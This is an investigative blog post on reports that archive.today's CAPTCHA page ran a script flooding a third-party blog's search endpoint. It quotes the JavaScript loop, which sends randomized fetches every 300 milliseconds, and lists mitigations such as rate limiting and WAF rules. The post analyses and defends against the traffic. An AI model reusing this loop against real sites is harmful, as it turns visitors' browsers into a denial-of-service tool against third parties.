How archive.today’s CAPTCHA Script Hammered a Blog — Evidence & Fixes

Investigation

How archive.today’s CAPTCHA Script Hammered a Blog — Evidence & Fixes

Published February 2026 · analysis · tags: archive.today, DDoS

Summary: Multiple reports show archive.today’s CAPTCHA page executing a small JavaScript loop that repeatedly requests a blog’s search endpoint roughly every 300 milliseconds. That pattern generates sustained, DDoS-level traffic while the CAPTCHA page is open. This post summarizes the evidence, impact, community reaction, and practical fixes.

What was observed

When visiting archive.today’s CAPTCHA page in a browser, the page runs a short repeating script that issues fetch requests to a third-party blog’s search URL. The requests include randomized query strings to avoid caching and run continuously while the CAPTCHA remains open — roughly 3 requests per second per visitor.

setInterval(function() {
    fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), {
        referrerPolicy: "no-referrer",
        mode: "no-cors"
    });
}, 300);
screenshot 1 screenshot 2

Impact & why it matters

Sustained requests at this frequency can overwhelm small servers and shared hosting, consume bandwidth, and increase CPU load. For low-capacity sites, the effect is identical to a distributed denial-of-service attack — except the “distribution” here comes from regular visitors’ browsers running a page script.

Community reaction

After the initial investigation was published, the case was discussed widely on Hacker News and Reddit, where volunteers inspected screenshots, code, and the reported email timeline. Some users noted that blocking the offending domain via adblock/DNS blocklists prevented the requests for protected users.

Practical fixes & mitigation

  • Rate-limit search endpoints — return HTTP 429 when patterns exceed normal thresholds.
  • Use CDN/WAF rules to throttle repeated requests that match the pattern (same path + randomized query strings + short intervals).
  • Cache or return cheap responses for unknown/random queries to avoid heavy processing.
  • Log and capture samples (timestamps, user agent, referrer) for abuse reports and forensics.
  • Consider DNS/adblock filters for problematic domains to protect end users and resources.
Tip: If you run a small site, check your logs for repeated requests to `?s=` or other search endpoints coming in bursts — that’s an indicator of this pattern.

Sources & further reading

Full technical details, screenshots and the timeline are in the original investigation and community threads:

Original investigation — Gyrovague Hacker News discussion Reddit: r/DataHoarder thread

Comments